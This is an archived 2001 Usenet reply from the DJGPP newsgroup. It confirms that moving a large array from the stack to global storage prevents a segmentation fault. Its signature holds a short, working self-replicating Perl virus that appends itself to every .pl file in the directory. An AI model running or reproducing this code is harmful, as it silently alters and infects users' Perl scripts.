| delorie.com/archives/browse.cgi | search |
| From: | rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) |
| Newsgroups: | comp.os.msdos.djgpp |
| Subject: | Re: Hunting Sigsev Errors |
| References: | <3ac02f4b$0$14446$272ea4a1 AT news DOT execpc DOT com> <Um7w6.1128$eX4 DOT 241968 AT typhoon DOT tampabay DOT rr DOT com> <l48w6.369$083 DOT 262866 AT typhoon DOT tampabay DOT rr DOT com> <99t0pm$k1n$1 AT nets3 DOT rz DOT RWTH-Aachen DOT DE> <O2sw6.2649$083 DOT 1329654 AT typhoon DOT tampabay DOT rr DOT com> |
| X-newsgroup: | comp.os.msdos.djgpp |
| X-realname: | Greg Donnells |
| X-Ringtones: | http://ringtones AT durchnull DOT de |
| X-Original: | no |
| Message-ID: | <slrn9dr294.2mb.rpolzer@www42.t-offline.de> |
| User-Agent: | slrn/0.9.6.3 (Linux) |
| Date: | Wed, 18 Apr 2001 14:31:32 +0200 |
| Lines: | 20 |
| NNTP-Posting-Host: | 213.6.52.3 |
| X-Trace: | 987596119 news.freenet.de 31639 213.6.52.3 |
| X-Complaints-To: | abuse AT freenet DOT de |
| To: | djgpp AT delorie DOT com |
| DJ-Gateway: | from newsgroup comp.os.msdos.djgpp |
| Reply-To: | djgpp AT delorie DOT com |
Greg Donnells <gad AT donnesys DOT com> wrote:
> Would declaring the variable as a global (thus moving it's storage
> allocation to the data segment as opposed to the stack segment) also correct
> this scenario?
yes
>
>
> > This is, as you suspected, your problem. You've just allocated
> > ARRAYMAX times 516 bytes, or 516 KB of memory, on the stack. That's
> > more than the default size of the whole stack, and will, indeed, cause
> > a solid crash.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
| webmaster | delorie software privacy |
| Copyright © 2019 by DJ Delorie | Updated Jul 2019 |